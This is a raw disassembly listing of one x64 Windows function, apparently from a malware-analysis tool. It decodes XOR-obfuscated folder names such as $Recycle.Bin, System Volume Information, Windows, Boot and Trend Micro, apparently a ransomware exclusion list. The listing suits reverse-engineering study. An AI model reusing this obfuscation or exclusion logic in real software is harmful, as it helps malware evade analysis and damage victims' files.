Function at 0x14000edd0
Capabilities:
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x648
movaps xmmword [rsp + 0x630], xmm6
xor edx, edx
movzx r8d, word [0x1400c8b04]
movabs rax, 0xffffffffffff
movabs r9, 0xffffffff0000ffff
and rdx, rax
movzx eax, word [str.winnt]
mov rbx, rdx
movzx edx, word [0x1400c8b06]
xor r8d, 0x40
mov bx, ax
movzx r8d, r8w
xor bx, 0x40
shl r8, 0x10
mov qword [rsp + 0x690], rcx
xor edx, 0x40
mov rax, rbx
movzx edx, dx
mov rcx, qword [0x1400c93d0]
mov dword [rsp + 0x90], 0x40
lea rbp, [rsp + 0x94]
and rax, r9
shl rdx, 0x20
lea rbx, [rsp + 0x4e0]
or rax, r8
movabs r8, 0xffff0000ffffffff
and rax, r8
xor r8d, r8d
mov qword [rsp + 0x4d0], rbx
or rax, rdx
mov qword [rsp + 0x94], rcx
mov rcx, rbp
mov qword [rsp + 0x9c], rax
movzx eax, word [rsp + 0x94]
mov edx, dword [rsp + 0x90]
xor eax, edx
mov word [rsp + 0x94], ax
movzx eax, word [rsp + 0x96]
mov edx, dword [rsp + 0x90]
xor eax, edx
mov word [rsp + 0x96], ax
movzx eax, word [rsp + 0x98]
mov edx, dword [rsp + 0x90]
xor eax, edx
mov word [rsp + 0x98], ax
movzx eax, word [rsp + 0x9a]
mov edx, dword [rsp + 0x90]
xor eax, edx
mov word [rsp + 0x9a], ax
movzx eax, word [rsp + 0x9c]
mov edx, dword [rsp + 0x90]
xor eax, edx
mov word [rsp + 0x9c], ax
movzx eax, word [rsp + 0x9e]
mov edx, dword [rsp + 0x90]
xor eax, edx
mov word [rsp + 0x9e], ax
movzx eax, word [rsp + 0xa0]
mov edx, dword [rsp + 0x90]
xor eax, edx
mov word [rsp + 0xa0], ax
lea rax, [rsp + 0x4d0]
mov word [rsp + 0xa2], r8w
mov qword [rsp + 0x20], rax
call sub.msvcrt.dll_wcslen
lea rsi, [rax + rax]
mov rdi, rsi
sar rdi, 1
cmp rsi, 0xe
mov qword [rsp + 0x460], rdi
ja 0x140011170
cmp rdi, 1
mov rcx, qword [rsp + 0x4d0]
jne 0x140010f1e
movzx eax, word [rsp + 0x94]
mov edx, 2
mov word [rcx], ax
mov eax, 1
mov qword [rsp + 0x4d8], rax
xor eax, eax
movq xmm0, qword [0x1400c93d8]
mov word [rcx + rdx], ax
xor edx, edx
xor ecx, ecx
movzx eax, word [0x1400c8b14]
mov word [rsp + 0x166], dx
movzx edx, word [0x1400c8b12]
lea rbp, [rsp + 0x194]
mov dword [rsp + 0x190], 0x28
mov dword [rsp + 0x158], 0x28005c
shl rax, 0x10
or rax, rdx
movzx edx, word [0x1400c8b10]
shl rax, 0x10
or rax, rdx
movzx edx, word [str.temp]
shl rax, 0x10
or rax, rdx
mov rdx, qword [0x1400c93e0]
movq xmm6, rax
movzx eax, word [0x1400c8b16]
pxor xmm0, xmm6
movq qword [rsp + 0x15c], xmm0
mov qword [rsp + 0x150], rdx
xor eax, 0x28
mov word [rsp + 0x164], ax
movabs rax, 0x4600460041005f
mov qword [rsp + 0x194], rax
mov rax, qword [rsp + 0x158]
mov qword [rsp + 0x19c], rax
mov rax, qword [rsp + 0x160]
mov qword [rsp + 0x1a4], rax
movzx eax, word [rsp + 0x194]
mov edx, dword [rsp + 0x190]
xor eax, edx
mov word [rsp + 0x194], ax
movzx eax, word [rsp + 0x196]
mov edx, dword [rsp + 0x190]
xor eax, edx
mov word [rsp + 0x196], ax
movzx eax, word [rsp + 0x198]
mov edx, dword [rsp + 0x190]
xor eax, edx
mov word [rsp + 0x198], ax
movzx eax, word [rsp + 0x19a]
mov edx, dword [rsp + 0x190]
xor eax, edx
mov word [rsp + 0x19a], ax
movzx eax, word [rsp + 0x19c]
mov edx, dword [rsp + 0x190]
xor eax, edx
mov word [rsp + 0x19c], ax
movzx eax, word [rsp + 0x19e]
mov edx, dword [rsp + 0x190]
xor eax, edx
mov word [rsp + 0x19e], ax
movzx eax, word [rsp + 0x1a0]
mov edx, dword [rsp + 0x190]
xor eax, edx
mov word [rsp + 0x1a0], ax
movzx eax, word [rsp + 0x1a2]
mov edx, dword [rsp + 0x190]
xor eax, edx
mov word [rsp + 0x1a2], ax
movzx eax, word [rsp + 0x1a4]
mov edx, dword [rsp + 0x190]
xor eax, edx
mov word [rsp + 0x1a4], ax
movzx eax, word [rsp + 0x1a6]
mov edx, dword [rsp + 0x190]
xor eax, edx
mov word [rsp + 0x1a6], ax
movzx eax, word [rsp + 0x1a8]
mov edx, dword [rsp + 0x190]
xor eax, edx
mov word [rsp + 0x1a8], ax
lea rax, [rsp + 0x500]
mov word [rsp + 0x1aa], cx
mov rcx, rbp
mov qword [rsp + 0x4f0], rax
call sub.msvcrt.dll_wcslen
lea rsi, [rax + rax]
mov rdi, rsi
sar rdi, 1
cmp rsi, 0xe
mov qword [rsp + 0x460], rdi
ja 0x1400112b9
cmp rdi, 1
mov rcx, qword [rsp + 0x4f0]
jne 0x140011552
movzx eax, word [rsp + 0x194]
mov edx, 2
mov word [rcx], ax
mov eax, 1
mov qword [rsp + 0x4f8], rax
xor eax, eax
movq xmm0, qword [0x1400c93e8]
mov word [rcx + rdx], ax
xor eax, eax
movzx edx, word [0x1400c8b1c]
mov word [rsp + 0xc2], ax
movzx eax, word [0x1400c8b1e]
lea rbp, [rsp + 0x114]
mov dword [rsp + 0x110], 0x70
mov rcx, rbp
shl rax, 0x10
or rax, rdx
movzx edx, word [0x1400c8b1a]
shl rax, 0x10
or rax, rdx
movzx edx, word [str.thumb]
shl rax, 0x10
or rax, rdx
movq xmm6, rax
mov rax, qword [0x1400c93f0]
pxor xmm0, xmm6
movq qword [rsp + 0xba], xmm0
mov qword [rsp + 0xb0], rax
mov eax, 0x70
mov word [rsp + 0xb8], ax
movabs rax, 0x1d00150004
mov qword [rsp + 0x114], rax
mov rax, qword [rsp + 0xb8]
mov qword [rsp + 0x11c], rax
mov eax, dword [rsp + 0xc0]
mov dword [rsp + 0x124], eax
movzx eax, word [rsp + 0x114]
mov edx, dword [rsp + 0x110]
xor eax, edx
mov word [rsp + 0x114], ax
movzx eax, word [rsp + 0x116]
mov edx, dword [rsp + 0x110]
xor eax, edx
mov word [rsp + 0x116], ax
movzx eax, word [rsp + 0x118]
mov edx, dword [rsp + 0x110]
xor eax, edx
mov word [rsp + 0x118], ax
movzx eax, word [rsp + 0x11a]
mov edx, dword [rsp + 0x110]
xor eax, edx
mov word [rsp + 0x11a], ax
movzx eax, word [rsp + 0x11c]
mov edx, dword [rsp + 0x110]
xor eax, edx
mov word [rsp + 0x11c], ax
movzx eax, word [rsp + 0x11e]
mov edx, dword [rsp + 0x110]
xor eax, edx
mov word [rsp + 0x11e], ax
movzx eax, word [rsp + 0x120]
mov edx, dword [rsp + 0x110]
xor eax, edx
mov word [rsp + 0x120], ax
movzx eax, word [rsp + 0x122]
mov edx, dword [rsp + 0x110]
xor eax, edx
mov word [rsp + 0x122], ax
movzx eax, word [rsp + 0x124]
mov edx, dword [rsp + 0x110]
xor eax, edx
mov word [rsp + 0x124], ax
xor eax, eax
mov word [rsp + 0x126], ax
lea rax, [rsp + 0x520]
mov qword [rsp + 0x510], rax
call sub.msvcrt.dll_wcslen
lea rsi, [rax + rax]
mov rdi, rsi
sar rdi, 1
cmp rsi, 0xe
mov qword [rsp + 0x460], rdi
ja 0x140011371
cmp rdi, 1
mov rcx, qword [rsp + 0x510]
jne 0x140011582
movzx eax, word [rsp + 0x114]
mov edx, 2
mov word [rcx], ax
mov eax, 1
mov qword [rsp + 0x518], rax
xor r13d, r13d
movzx eax, word [0x1400c8b2a]
xor r14d, r14d
mov word [rcx + rdx], r13w
movzx edx, word [0x1400c8b28]
xor r15d, r15d
movq xmm0, qword [0x1400c93f8]
mov dword [rsp + 0x1b0], 0x18
lea rbp, [rsp + 0x1b4]
mov dword [rsp + 0x178], 0x18007a
mov rcx, rbp
mov word [rsp + 0x186], r14w
shl rax, 0x10
or rax, rdx
movzx edx, word [0x1400c8b26]
shl rax, 0x10
or rax, rdx
movzx edx, word [str._Recycle.Bin]
shl rax, 0x10
or rax, rdx
mov rdx, qword [str.lpmu]
movq xmm5, rax
movzx eax, word [0x1400c8b2c]
pxor xmm0, xmm5
movq qword [rsp + 0x17c], xmm0
mov qword [rsp + 0x170], rdx
xor eax, 0x18
mov word [rsp + 0x184], ax
movabs rax, 0x75006d0070006c
mov qword [rsp + 0x1b4], rax
mov rax, qword [rsp + 0x178]
mov qword [rsp + 0x1bc], rax
mov rax, qword [rsp + 0x180]
mov qword [rsp + 0x1c4], rax
movzx eax, word [rsp + 0x1b4]
mov edx, dword [rsp + 0x1b0]
xor eax, edx
mov word [rsp + 0x1b4], ax
movzx eax, word [rsp + 0x1b6]
mov edx, dword [rsp + 0x1b0]
xor eax, edx
mov word [rsp + 0x1b6], ax
movzx eax, word [rsp + 0x1b8]
mov edx, dword [rsp + 0x1b0]
xor eax, edx
mov word [rsp + 0x1b8], ax
movzx eax, word [rsp + 0x1ba]
mov edx, dword [rsp + 0x1b0]
xor eax, edx
mov word [rsp + 0x1ba], ax
movzx eax, word [rsp + 0x1bc]
mov edx, dword [rsp + 0x1b0]
xor eax, edx
mov word [rsp + 0x1bc], ax
movzx eax, word [rsp + 0x1be]
mov edx, dword [rsp + 0x1b0]
xor eax, edx
mov word [rsp + 0x1be], ax
movzx eax, word [rsp + 0x1c0]
mov edx, dword [rsp + 0x1b0]
xor eax, edx
mov word [rsp + 0x1c0], ax
movzx eax, word [rsp + 0x1c2]
mov edx, dword [rsp + 0x1b0]
xor eax, edx
mov word [rsp + 0x1c2], ax
movzx eax, word [rsp + 0x1c4]
mov edx, dword [rsp + 0x1b0]
xor eax, edx
mov word [rsp + 0x1c4], ax
movzx eax, word [rsp + 0x1c6]
mov edx, dword [rsp + 0x1b0]
xor eax, edx
mov word [rsp + 0x1c6], ax
movzx eax, word [rsp + 0x1c8]
mov edx, dword [rsp + 0x1b0]
xor eax, edx
mov word [rsp + 0x1c8], ax
lea rax, [rsp + 0x540]
mov word [rsp + 0x1ca], r15w
mov qword [rsp + 0x530], rax
call sub.msvcrt.dll_wcslen
lea rsi, [rax + rax]
mov rdi, rsi
sar rdi, 1
cmp rsi, 0xe
mov qword [rsp + 0x460], rdi
ja 0x140011315
cmp rdi, 1
mov rcx, qword [rsp + 0x530]
jne 0x14001157a
movzx eax, word [rsp + 0x1b4]
mov edx, 2
mov word [rcx], ax
mov eax, 1
xor ebp, ebp
mov qword [rsp + 0x538], rax
xor r12d, r12d
mov word [rcx + rdx], bp
mov dword [rsp + 0x3b0], 0x72
mov edx, dword [rsp + 0x3b0]
mov r14d, dword [rsp + 0x3b0]
mov word [rsp + 0x362], r12w
mov r11d, dword [rsp + 0x3b0]
mov r13d, dword [rsp + 0x3b0]
mov r8d, dword [rsp + 0x3b0]
mov r15d, dword [rsp + 0x3b0]
add r14d, 1
mov eax, dword [rsp + 0x3b0]
mov esi, dword [rsp + 0x3b0]
mov edi, dword [rsp + 0x3b0]
mov ecx, dword [rsp + 0x3b0]
mov r10d, dword [rsp + 0x3b0]
mov dword [rsp + 0x3c], eax
mov r9d, dword [rsp + 0x3b0]
mov dword [rsp + 0x38], esi
mov eax, dword [rsp + 0x3b0]
mov dword [rsp + 0x34], edi
mov r12d, dword [rsp + 0x3b0]
mov dword [rsp + 0x30], ecx
mov dword [rsp + 0x2c], r10d
mov r10d, dword [rsp + 0x3b0]
mov dword [rsp + 0x28], r9d
mov ebp, dword [rsp + 0x3b0]
mov ecx, dword [rsp + 0x3b0]
add eax, 0xc
mov edi, dword [rsp + 0x3b0]
add r12d, 0xd
movd xmm1, eax
mov r9d, dword [rsp + 0x3b0]
add r10d, 0xe
xor r12w, word [str._RECYCLE.BIN]
add ebp, 0xf
xor r10w, word [0x1400c8b40]
add ecx, 0x10
mov esi, dword [rsp + 0x3b0]
add edi, 0x11
xor bp, word [0x1400c8b42]
add r9d, 0x12
xor cx, word [0x1400c8b44]
pinsrw xmm1, r12d, 1
xor r9w, word [0x1400c8b48]
movd xmm3, r10d
add esi, 0x13
xor si, word [0x1400c8b4a]
xor di, word [0x1400c8b46]
pinsrw xmm3, ebp, 1
punpckldq xmm1, xmm3
movq xmm3, qword [0x1400c9408]
movd xmm0, ecx
movd xmm2, r9d
mov ecx, dword [rsp + 0x3b0]
mov r9d, dword [rsp + 0x3b0]
pinsrw xmm2, esi, 1
mov r10d, dword [rsp + 0x3b0]
pinsrw xmm0, edi, 1
punpckldq xmm0, xmm2
punpcklqdq xmm1, xmm0
mov eax, dword [rsp + 0x3b0]
movd xmm0, edx
movups xmmword [rsp + 0x348], xmm1
movzx ecx, cx
movzx edx, word [rsp + 0x28]
pinsrw xmm0, r14d, 1
movzx r9d, r9w
movzx r10d, r10w
movzx eax, ax
shl rax, 0x10
or rax, r10
lea r10d, [r15 + 5]
shl rax, 0x10
or rax, r9
movzx r9d, word [0x1400c8b50]
shl rax, 0x10
or rax, rcx
movzx ecx, word [0x1400c8b52]
movq xmm6, rax
movzx eax, word [rsp + 0x3c]
paddw xmm3, xmm6
shl rcx, 0x10
lea esi, [rax + 6]
or rcx, r9
movzx r9d, word [0x1400c8b4e]
shl rcx, 0x10
movzx eax, word [rsp + 0x38]
movd xmm4, esi
or rcx, r9
movzx r9d, word [0x1400c8b4c]
lea edi, [rax + 7]
shl rcx, 0x10
movzx eax, word [rsp + 0x2c]
pinsrw xmm4, edi, 1
or rcx, r9
mov r9d, dword [rsp + 0x3b0]
movq xmm5, rcx
pxor xmm3, xmm5
movq qword [rsp + 0x358], xmm3
add r9d, 0x18
xor r9w, word [0x1400c8b54]
add r11d, 2
shl rdx, 0x10
or rdx, rax
movzx eax, word [rsp + 0x30]
add r8d, 4
shl rdx, 0x10
movd xmm2, r8d
add r13d, 3
movd xmm5, r11d
pinsrw xmm2, r10d, 1
punpckldq xmm2, xmm4
mov word [rsp + 0x360], r9w
pinsrw xmm5, r13d, 1
punpckldq xmm0, xmm5
punpcklqdq xmm0, xmm2
or rdx, rax
movzx eax, word [rsp + 0x34]
pxor xmm0, xmmword [str._Recycle_b_t_n_v.Bin]
movq r8, xmm0
shl rdx, 0x10
movaps xmmword [rsp + 0x330], xmm0
movq xmm0, qword [0x1400c9420]
mov qword [rsp + 0x3b4], r8
mov r8, qword [rsp + 0x338]
movq xmm2, qword [0x1400c9428]
or rdx, rax
movq xmm6, rdx
paddw xmm0, xmm6
pxor xmm0, xmm2
movq qword [rsp + 0x340], xmm0
mov qword [rsp + 0x3bc], r8
mov eax, dword [rsp + 0x360]
mov rdx, qword [rsp + 0x350]
movq qword [rsp + 0x3c4], xmm0
movq qword [rsp + 0x3cc], xmm1
mov qword [rsp + 0x3d4], rdx
movq qword [rsp + 0x3dc], xmm3
mov dword [rsp + 0x3e4], eax
xor eax, eax
nop word [rax + rax]
movzx ecx, word [rsp + rax*2 + 0x3b4]
mov edx, dword [rsp + 0x3b0]
add edx, eax
xor edx, ecx
mov word [rsp + rax*2 + 0x3b4], dx
add rax, 1
cmp rax, 0x19
jne 0x14000f978
lea rbp, [rsp + 0x3b4]
xor edi, edi
lea rax, [rsp + 0x560]
mov rcx, rbp
mov word [rsp + 0x3e6], di
mov qword [rsp + 0x550], rax
call sub.msvcrt.dll_wcslen
lea rsi, [rax + rax]
mov rdi, rsi
sar rdi, 1
cmp rsi, 0xe
mov qword [rsp + 0x460], rdi
ja 0x1400114e1
cmp rdi, 1
mov rcx, qword [rsp + 0x550]
jne 0x140011545
movzx eax, word [rsp + 0x3b4]
mov edx, 2
mov word [rcx], ax
mov eax, 1
mov qword [rsp + 0x558], rax
movzx eax, word [str.System_Volume_Information]
xor r10d, r10d
xor esi, esi
mov word [rcx + rdx], r10w
movzx edx, word [0x1400c8b6c]
mov r11d, 4
mov word [rsp + 0x388], r11w
mov word [rsp + 0x3a2], si
movd xmm0, eax
movzx eax, word [0x1400c8b5c]
pinsrw xmm0, word [0x1400c8b5a], 1
movd xmm3, eax
movzx eax, word [0x1400c8b60]
pinsrw xmm3, word [0x1400c8b5e], 1
punpckldq xmm0, xmm3
movd xmm1, eax
movzx eax, word [0x1400c8b64]
pinsrw xmm1, word [0x1400c8b62], 1
movd xmm2, eax
movzx eax, word [0x1400c8b6e]
pinsrw xmm2, word [0x1400c8b66], 1
punpckldq xmm1, xmm2
punpcklqdq xmm0, xmm1
paddw xmm0, xmmword [0x1400c9430]
movq xmm1, qword [0x1400c9430]
movups xmmword [rsp + 0x38a], xmm0
movdqa xmm2, xmmword [str._VIG_GPI2FMR__System_Volume_Informatiooooo_]
shl rax, 0x10
or rax, rdx
movzx edx, word [0x1400c8b6a]
movaps xmmword [rsp + 0x370], xmm2
shl rax, 0x10
or rax, rdx
movzx edx, word [0x1400c8b68]
shl rax, 0x10
or rax, rdx
movq xmm5, rax
mov rax, qword [0x1400c9450]
paddw xmm1, xmm5
mov qword [rsp + 0x380], rax
movabs rax, 0x47004900560028
mov qword [rsp + 0x2b0], rax
movabs rax, 0x4900500047005d
mov qword [rsp + 0x2b8], rax
movabs rax, 0x52004d00460032
mov qword [rsp + 0x2c0], rax
mov rax, qword [rsp + 0x388]
movq qword [rsp + 0x39a], xmm1
mov qword [rsp + 0x2c8], rax
mov rax, qword [rsp + 0x390]
mov qword [rsp + 0x2d0], rax
mov rax, qword [rsp + 0x398]
mov qword [rsp + 0x2d8], rax
mov eax, dword [rsp + 0x3a0]
mov dword [rsp + 0x2e0], eax
xor eax, eax
nop
movzx edx, word [rsp + rax*2 + 0x2b0]
sub edx, 4
mov word [rsp + rax*2 + 0x2b0], dx
add rax, 1
cmp rax, 0x19
jne 0x14000fb80
lea rbp, [rsp + 0x2b0]
lea rax, [rsp + 0x580]
mov rcx, rbp
mov qword [rsp + 0x570], rax
call sub.msvcrt.dll_wcslen
lea rsi, [rax + rax]
mov rdi, rsi
sar rdi, 1
cmp rsi, 0xe
mov qword [rsp + 0x460], rdi
ja 0x140011485
cmp rdi, 1
mov rcx, qword [rsp + 0x570]
jne 0x14001153d
movzx eax, word [rsp + 0x2b0]
mov edx, 2
mov word [rcx], ax
mov eax, 1
xor r8d, r8d
mov qword [rsp + 0x578], rax
xor r9d, r9d
mov word [rcx + rdx], r8w
mov dword [rsp + 0x460], 0x1e
mov r12d, dword [rsp + 0x460]
mov word [rsp + 0x456], r9w
mov ebp, dword [rsp + 0x460]
mov ecx, dword [rsp + 0x460]
mov edi, dword [rsp + 0x460]
mov r14d, dword [rsp + 0x460]
mov eax, dword [rsp + 0x460]
mov esi, dword [rsp + 0x460]
mov edx, dword [rsp + 0x460]
mov r15d, dword [rsp + 0x460]
mov dword [rsp + 0x7c], eax
mov r11d, dword [rsp + 0x460]
mov dword [rsp + 0x78], esi
mov r10d, dword [rsp + 0x460]
mov dword [rsp + 0x74], edx
mov r8d, dword [rsp + 0x460]
mov r9d, dword [rsp + 0x460]
mov dword [rsp + 0x70], r15d
mov r13d, dword [rsp + 0x460]
mov dword [rsp + 0x6c], r11d
mov eax, dword [rsp + 0x460]
mov dword [rsp + 0x68], r10d
mov esi, dword [rsp + 0x460]
mov dword [rsp + 0x64], r8d
mov edx, dword [rsp + 0x460]
mov dword [rsp + 0x60], r9d
mov dword [rsp + 0x5c], r13d
mov dword [rsp + 0x58], eax
mov dword [rsp + 0x50], esi
mov dword [rsp + 0x4c], edx
mov r15d, dword [rsp + 0x460]
mov r11d, dword [rsp + 0x460]
mov r10d, dword [rsp + 0x460]
mov r8d, dword [rsp + 0x460]
mov r9d, dword [rsp + 0x460]
mov dword [rsp + 0x48], r15d
mov r13d, dword [rsp + 0x460]
mov dword [rsp + 0x44], r11d
mov eax, dword [rsp + 0x460]
mov dword [rsp + 0x40], r10d
mov esi, dword [rsp + 0x460]
mov dword [rsp + 0x3c], r8d
mov dword [rsp + 0x38], r9d
mov dword [rsp + 0x34], r13d
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x460]
mov dword [rsp + 0x2c], esi
mov r13d, dword [rsp + 0x460]
mov r9d, dword [rsp + 0x460]
mov esi, dword [rsp + 0x460]
mov edx, dword [rsp + 0x460]
add eax, 0x19
mov r11d, dword [rsp + 0x460]
add r13d, 0x1a
movd xmm2, eax
mov r8d, dword [rsp + 0x460]
add r9d, 0x1b
xor r9w, word [0x1400c8b8e]
add esi, 0x1c
add edx, 0x1d
xor dx, word [0x1400c8b92]
xor si, word [0x1400c8b90]
add r11d, 0x1e
mov r10d, dword [rsp + 0x460]
add r8d, 0x1f
xor r11w, word [0x1400c8b94]
movd xmm3, r9d
xor r8w, word [str.Windows]
movd xmm0, edx
xor r13w, word [str.Boot]
pinsrw xmm3, esi, 1
mov eax, dword [rsp + 0x460]
add r10d, 0x20
pinsrw xmm0, r11d, 1
xor r10w, word [0x1400c8b98]
movd xmm1, r8d
pinsrw xmm2, r13d, 1
mov r13d, dword [rsp + 0x460]
punpckldq xmm2, xmm3
mov r9d, dword [rsp + 0x460]
add eax, 0x21
mov esi, dword [rsp + 0x460]
pinsrw xmm1, r10d, 1
punpckldq xmm0, xmm1
punpcklqdq xmm2, xmm0
mov edx, dword [rsp + 0x460]
mov r11d, dword [rsp + 0x460]
add r13d, 0x22
mov r8d, dword [rsp + 0x460]
add r9d, 0x23
xor ax, word [0x1400c8b9a]
add esi, 0x24
xor r9w, word [0x1400c8b9e]
add edx, 0x25
xor dx, word [0x1400c8ba2]
add r11d, 0x26
add r8d, 0x27
xor r8w, word [str.Trend_Micro]
mov r10d, dword [rsp + 0x460]
movd xmm1, eax
movd xmm4, r9d
xor r13w, word [0x1400c8b9c]
movd xmm0, edx
mov edx, dword [rsp + 0x460]
movd xmm3, r8d
mov r8d, dword [rsp + 0x460]
mov r9d, dword [rsp + 0x460]
add r10d, 0x28
mov eax, dword [rsp + 0x460]
pinsrw xmm1, r13d, 1
xor si, word [0x1400c8ba0]
movzx edx, dx
xor r11w, word [0x1400c8ba4]
movzx r8d, r8w
xor r10w, word [0x1400c8ba8]
movzx r9d, r9w
add ecx, 2
movzx eax, ax
add edi, 3
shl rax, 0x10
pinsrw xmm4, esi, 1
punpckldq xmm1, xmm4
add ebp, 1
or rax, r9
pinsrw xmm0, r11d, 1
mov r11d, dword [rsp + 0x460]
shl rax, 0x10
pinsrw xmm3, r10d, 1
punpckldq xmm0, xmm3
mov r10d, dword [rsp + 0x460]
or rax, r8
mov r9d, dword [rsp + 0x460]
punpcklqdq xmm1, xmm0
movd xmm0, r12d
shl rax, 0x10
movzx r8d, word [0x1400c8bae]
pinsrw xmm0, ebp, 1
movq xmm3, qword [0x1400c9458]
or rax, rdx
add r11d, 0x2d
movzx edx, word [0x1400c8bb0]
movq xmm6, rax
add r10d, 0x2e
mov eax, dword [rsp + 0x460]
add r9d, 0x2f
paddw xmm3, xmm6
movd xmm6, ecx
xor r11w, word [0x1400c8bb2]
pinsrw xmm6, edi, 1
punpckldq xmm0, xmm6
xor r10w, word [0x1400c8bb4]
shl rdx, 0x10
xor r9w, word [0x1400c8bb6]
or rdx, r8
add eax, 0x30
movzx r8d, word [0x1400c8bac]
xor ax, word [0x1400c8bb8]
shl rdx, 0x10
or rdx, r8
movzx r8d, word [0x1400c8baa]
mov r15d, eax
mov eax, dword [rsp + 0x460]
shl rdx, 0x10
movzx r13d, word [0x1400c8bbc]
movzx edi, word [rsp + 0x70]
or rdx, r8
movzx ecx, word [rsp + 0x58]
add eax, 0x31
xor ax, word [0x1400c8bba]
movq xmm5, rdx
pxor xmm3, xmm5
add ecx, 0xe
mov word [rsp + 0x28], ax
mov eax, dword [rsp + 0x460]
add eax, 0x32
xor r13d, eax
lea eax, [r14 + 4]
movzx r14d, word [rsp + 0x7c]
movd xmm4, eax
lea eax, [rdi + 8]
movzx edi, word [rsp + 0x6c]
lea esi, [r14 + 5]
movzx r14d, word [rsp + 0x78]
pinsrw xmm4, esi, 1
movzx esi, word [rsp + 0x50]
lea r12d, [rdi + 9]
movzx edi, word [rsp + 0x68]
lea edx, [r14 + 6]
movzx r14d, word [rsp + 0x74]
movd xmm5, edx
add esi, 0xf
lea r8d, [r14 + 7]
pinsrw xmm5, r8d, 1
lea r8d, [rdi + 0xa]
movzx edi, word [rsp + 0x64]
punpckldq xmm4, xmm5
punpcklqdq xmm0, xmm4
pxor xmm0, xmmword [0x1400c9460]
movq r14, xmm0
movd xmm6, r8d
movaps xmmword [rsp + 0x3f0], xmm0
movd xmm0, eax
movd xmm5, ecx
movzx ecx, word [rsp + 0x34]
pinsrw xmm0, r12d, 1
pinsrw xmm5, esi, 1
movzx esi, word [rsp + 0x30]
lea ebp, [rdi + 0xb]
movzx edi, word [rsp + 0x60]
pinsrw xmm6, ebp, 1
punpckldq xmm0, xmm6
lea edx, [rdi + 0xc]
movzx edi, word [rsp + 0x5c]
movd xmm4, edx
add edi, 0xd
pinsrw xmm4, edi, 1
movzx edi, word [rsp + 0x4c]
punpckldq xmm4, xmm5
punpcklqdq xmm0, xmm4
pxor xmm0, xmmword [0x1400c9470]
movq qword [rsp + 0x50], xmm0
movaps xmmword [rsp + 0x400], xmm0
lea eax, [rdi + 0x10]
movzx edi, word [rsp + 0x48]
movd xmm0, eax
lea r12d, [rdi + 0x11]
movzx edi, word [rsp + 0x44]
pinsrw xmm0, r12d, 1
lea r8d, [rdi + 0x12]
movzx edi, word [rsp + 0x40]
movd xmm6, r8d
lea ebp, [rdi + 0x13]
movzx edi, word [rsp + 0x3c]
pinsrw xmm6, ebp, 1
punpckldq xmm0, xmm6
lea edx, [rdi + 0x14]
movzx edi, word [rsp + 0x38]
movd xmm4, edx
add edi, 0x15
add ecx, 0x16
add esi, 0x17
movd xmm5, ecx
pinsrw xmm4, edi, 1
pinsrw xmm5, esi, 1
movzx esi, word [rsp + 0x2c]
punpckldq xmm4, xmm5
punpcklqdq xmm0, xmm4
pxor xmm0, xmmword [0x1400c9480]
movaps xmmword [rsp + 0x410], xmm0
lea eax, [rsi + 0x18]
xor eax, 0x6e
mov word [rsp + 0x420], ax
movzx eax, word [rsp + 0x28]
mov qword [rsp + 0x464], r14
movups xmmword [rsp + 0x422], xmm2
movups xmmword [rsp + 0x432], xmm1
mov word [rsp + 0x452], ax
mov rax, qword [rsp + 0x3f8]
movq qword [rsp + 0x442], xmm3
mov word [rsp + 0x44a], r11w
mov word [rsp + 0x44c], r10w
mov qword [rsp + 0x46c], rax
mov rax, qword [rsp + 0x50]
mov word [rsp + 0x44e], r9w
mov word [rsp + 0x450], r15w
mov word [rsp + 0x454], r13w
mov qword [rsp + 0x474], rax
mov rax, qword [rsp + 0x408]
mov qword [rsp + 0x47c], rax
mov rax, qword [rsp + 0x418]
movq qword [rsp + 0x484], xmm0
mov qword [rsp + 0x48c], rax
mov rax, qword [rsp + 0x420]
mov qword [rsp + 0x494], rax
mov rax, qword [rsp + 0x428]
mov qword [rsp + 0x49c], rax
mov rax, qword [rsp + 0x430]
mov qword [rsp + 0x4a4], rax
mov rax, qword [rsp + 0x438]
mov qword [rsp + 0x4ac], rax
mov rax, qword [rsp + 0x440]
mov qword [rsp + 0x4b4], rax
mov rax, qword [rsp + 0x448]
mov qword [rsp + 0x4bc], rax
mov rax, qword [rsp + 0x450]
mov qword [rsp + 0x4c4], rax
xor eax, eax
nop dword [rax]
movzx ecx, word [rsp + rax*2 + 0x464]
mov edx, dword [rsp + 0x460]
add edx, eax
xor edx, ecx
mov word [rsp + rax*2 + 0x464], dx
add rax, 1
cmp rax, 0x33
jne 0x140010288
lea rbp, [rsp + 0x464]
xor eax, eax
mov word [rsp + 0x4ca], ax
mov rcx, rbp
lea rax, [rsp + 0x5a0]
mov qword [rsp + 0x590], rax
call sub.msvcrt.dll_wcslen
lea rsi, [rax + rax]
mov rdi, rsi
sar rdi, 1
cmp rsi, 0xe
mov qword [rsp + 0x2f0], rdi
ja 0x140011429
cmp rdi, 1
mov rcx, qword [rsp + 0x590]
jne 0x140011572
movzx eax, word [rsp + 0x464]
mov edx, 2
mov word [rcx], ax
mov eax, 1
mov qword [rsp + 0x598], rax
xor eax, eax
movq xmm0, qword [0x1400c9490]
mov word [rcx + rdx], ax
xor eax, eax
movzx edx, word [0x1400c8b9a]
mov word [rsp + 0xe2], ax
movzx eax, word [0x1400c8b9c]
lea rbp, [rsp + 0x134]
mov dword [rsp + 0x130], 0x6f
mov rcx, rbp
shl rax, 0x10
or rax, rdx
movzx edx, word [0x1400c8b98]
shl rax, 0x10
or rax, rdx
movzx edx, word [str.Windows]
shl rax, 0x10
or rax, rdx
movq xmm6, rax
mov rax, qword [0x1400c9498]
pxor xmm0, xmm6
movq qword [rsp + 0xda], xmm0
mov qword [rsp + 0xd0], rax
mov eax, 0x6f
mov word [rsp + 0xd8], ax
movabs rax, 0x1b00000000002d
mov qword [rsp + 0x134], rax
mov rax, qword [rsp + 0xd8]
mov qword [rsp + 0x13c], rax
mov eax, dword [rsp + 0xe0]
mov dword [rsp + 0x144], eax
movzx eax, word [rsp + 0x134]
mov edx, dword [rsp + 0x130]
xor eax, edx
mov word [rsp + 0x134], ax
movzx eax, word [rsp + 0x136]
mov edx, dword [rsp + 0x130]
xor eax, edx
mov word [rsp + 0x136], ax
movzx eax, word [rsp + 0x138]
mov edx, dword [rsp + 0x130]
xor eax, edx
mov word [rsp + 0x138], ax
movzx eax, word [rsp + 0x13a]
mov edx, dword [rsp + 0x130]
xor eax, edx
mov word [rsp + 0x13a], ax
movzx eax, word [rsp + 0x13c]
mov edx, dword [rsp + 0x130]
xor eax, edx
mov word [rsp + 0x13c], ax
